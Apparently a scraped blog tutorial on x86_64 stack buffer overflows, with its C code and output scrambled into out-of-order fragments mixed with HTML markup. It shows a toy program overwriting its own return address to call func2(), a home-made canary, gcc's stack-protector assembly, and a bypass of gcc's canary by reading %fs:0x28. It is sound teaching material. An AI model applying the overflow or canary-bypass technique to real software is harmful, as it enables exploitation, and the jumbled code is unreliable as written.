I won’t explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2(). compile: gcc test.c -fno-stack-protector *\/<\/p>\n #include <stdio.h> \/\/#define USE_CANARY<\/p>\n void func2() void func(const char *input) \/\/ strcpy(buf, input); memcpy(buf, input, 256+8*8); printf(“buf: %sn”, buf); #ifdef USE_CANARY int main(int argc, char **argv) \/\/ fill up input with ‘A’ x 256 (leaving 1024-256 bytes left) printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2)); if (argc < 2) { else { \/\/ fill past the ‘A’s with a pointer to func2(), up to “loop”. printf(“input: %sn”, input);<\/p>\n \/\/ verify the func2’s addresses are actually inside the input buffer.<\/p>\n for (int i = 0; i < loop; i++) { \/\/ call func with input buffer.<\/p>\n func(input); Output:<\/p>\n $ .\/a.out<\/p>\n size of func2’s pointer (in bytes): 8 Notice if you compiled with -DUSE_CANARY, it uses our artificial canary, and will abort before the overflow exploits the return instruction pointer.<\/p>\n gcc test.c -fno-stack-protector -DUSE_CANARY size of func2’s pointer (in bytes): 8 Now if you look at a normal compilation, and check out the assembly using `objdump -D .\/a.out` …. more opcodes ….<\/p>\n … followed at the end by …<\/p>\n 12a4: e8 17 fe ff ff call 10c0 <__stack_chk_fail@plt> <\/span> The objdump without stack protector for func is:<\/p>\n <func>: You can see the canary’s secret value is stored in %fs:0x28, and gets moved to register %rax, which then gets copied onto the frame pointer %rbp – 8 bytes, which is just before the saved frame pointer, and two pointers from the return instruction pointer on the stack.<\/p>\n If you can leak the %fs:0x28 value, you can overwrite the canary with the same value during the overflow, and thus bypass the canary check.<\/p>\n This is the reason why %rax is cleared (xor %rax, %rax), to avoid leaking the value in the %rax register.<\/p>\n Source code follows:<\/p>\n <\/p>\n \/*<\/p>\n compile: gcc test.c -fno-stack-protector *\/<\/p>\n #include <stdio.h> \/\/#define USE_CANARY<\/p>\n unsigned long get_canary() void func2() void func(const char *input) \/\/ strcpy(buf, input); memcpy(buf, input, 256+8*8); printf(“buf: %sn”, buf); #ifdef USE_CANARY int main(int argc, char **argv) \/\/ fill up input with ‘A’ x 256 (leaving 1024-256 bytes left) printf(“size of func2’s pointer (in bytes): %ldn”, sizeof(&func2)); if (argc < 2) { else { unsigned long gcc_canary = get_canary(); \/\/ get gcc canary secret value.<\/p>\n \/\/ After the ‘AAAA’ put a gcc_canary for us. The space gcc will provide will be 16 bytes, so we just fill for (int i = 0; i < loop; i++) { \/\/ Now put a pointer to func2(), at least twice (assuming loop = 2).<\/p>\n for (int i = loop; i < loop * 2; i++) { printf(“input: %sn”, input);<\/p>\n \/\/ verify the func2’s addresses are actually inside the input buffer.<\/p>\n for (int i = 0; i < loop * 2; i++) { \/\/ call func with input buffer.<\/p>\n func(input); Output:<\/span><\/p>\n size of func2’s pointer (in bytes): 8 <\/span><\/p>\n","protected":false},"excerpt":{"rendered":" Hacking 101 – stack buffer overflows on x86_64 I won’t explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2().\/* compile: gcc test.c -fno-stack-protector run: .\/a.out 4 (or .\/a.out 2… greater than .\/a.out […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-40","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/40","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40"}],"version-history":[{"count":1,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/40\/revisions"}],"predecessor-version":[{"id":41,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/40\/revisions\/41"}],"wp:attachment":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\/*<\/p>\n
run: .\/a.out 4 (or .\/a.out 2… greater than .\/a.out 1)<\/p>\n
#include <stdlib.h>
#include <string.h><\/p>\n
{
printf(“I did it!n”);
}<\/p>\n
{
#ifdef USE_CANARY
long int canary = 0xdeadbeefc001d00d;
#endif
char buf[256];<\/p>\n
\/\/ cause there’s a null in the address…<\/p>\n
\/\/ buffer overfl0wwwwwwwwwww<\/p>\n
fflush(stdout);<\/p>\n
if (canary != 0xdeadbeefc001d00d) {
printf(“Buffer overflow detected! Aborting!n”);
abort();
}
#endif
}<\/p>\n
{
char input[1024];
int loop;<\/p>\n
memset(input, ‘A’, 256);<\/p>\n
printf(“func2’s address: %lxn”, (unsigned long) func2);<\/p>\n
loop = 4;
}<\/p>\n
loop = atoi(argv[1]);
}<\/p>\n
for (int i = 0; i < loop; i++) {
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) func2;
}<\/p>\n
char *p = input + 256 + i * sizeof(&func2);
unsigned long *q = (unsigned long *) p;
printf(“address: %lxn”, *q);
}<\/p>\n
}
<\/span><\/p>\n
gcc test.c -fno-stack-protector<\/p>\n
func2’s address: 561e883a51e9
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffdQ:\ufffdV
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffdQ:\ufffdV
I did it!
I did it!
I did it!
Segmentation fault (core dumped)<\/span><\/p>\nCreating our own Canary<\/h2>\n
$ .\/a.out<\/p>\n
func2’s address: 562a98ea0209
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ufffd*V
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ufffd*V
Buffer overflow detected! Aborting!
Aborted (core dumped)
<\/span><\/p>\nComparing with gcc’s canary
<\/h2>\n
0000000000001223 <func>:
1223: f3 0f 1e fa endbr64
1227: 55 push %rbp
1228: 48 89 e5 mov %rsp,%rbp
122b: 48 81 ec 20 01 00 00 sub $0x120,%rsp
1232: 48 89 bd e8 fe ff ff mov %rdi,-0x118(%rbp)
1239: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
1240: 00 00
1242: 48 89 45 f8 mov %rax,-0x8(%rbp)
1246: 31 c0 xor %eax,%eax<\/p>\n
12a9: c9 leave
12aa: c3 ret <\/p>\n
This is the setting of the canary and the checking of the canary at the end of the function, done by the compiler.<\/p>\n
1203: f3 0f 1e fa endbr64
1207: 55 push %rbp
1208: 48 89 e5 mov %rsp,%rbp
120b: 48 81 ec 10 01 00 00 sub $0x110,%rsp
1212: 48 89 bd f8 fe ff ff mov %rdi,-0x108(%rbp)
<\/span><\/p>\nGetting the canary secret value from gcc via some means, and then using it<\/h2>\n
run: .\/a.out 4 (or .\/a.out 2… greater than .\/a.out 1)<\/p>\n
#include <stdlib.h>
#include <string.h><\/p>\n
{
asm(“mov %fs:0x28, %rax”);
}<\/p>\n
{
printf(“I did it!n”);
}<\/p>\n
{
#ifdef USE_CANARY
long int canary = 0xdeadbeefc001d00d;
#endif
char buf[256];<\/p>\n
\/\/ cause there’s a null in the address…<\/p>\n
\/\/ buffer overfl0wwwwwwwwwww<\/p>\n
fflush(stdout);<\/p>\n
if (canary != 0xdeadbeefc001d00d) {
printf(“Buffer overflow detected! Aborting!n”);
abort();
}
#endif
}<\/p>\n
{
char input[1024];
int loop;<\/p>\n
memset(input, ‘A’, 256);<\/p>\n
printf(“func2’s address: %lxn”, (unsigned long) func2);<\/p>\n
loop = 2; \/\/ loop = 2 is the optimal solution for this case.
}<\/p>\n
loop = atoi(argv[1]);
}<\/p>\n
\/\/ it up with 2x canary secret values. (assuming loop = 2)<\/p>\n
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) gcc_canary;
}<\/p>\n
unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
*p = (unsigned long) func2;
}<\/p>\n
char *p = input + 256 + i * sizeof(&func2);
unsigned long *q = (unsigned long *) p;
printf(“address or canary: %lxn”, *q);
}<\/p>\n
}
<\/span><\/p>\n
gcc test.c
$ .\/a.out<\/p>\n
func2’s address: 55ad7774c21d
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address or canary: ac9d07067ff30500
address or canary: ac9d07067ff30500
address or canary: 55ad7774c21d
address or canary: 55ad7774c21d
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I did it!
Segmentation fault (core dumped)<\/p>\n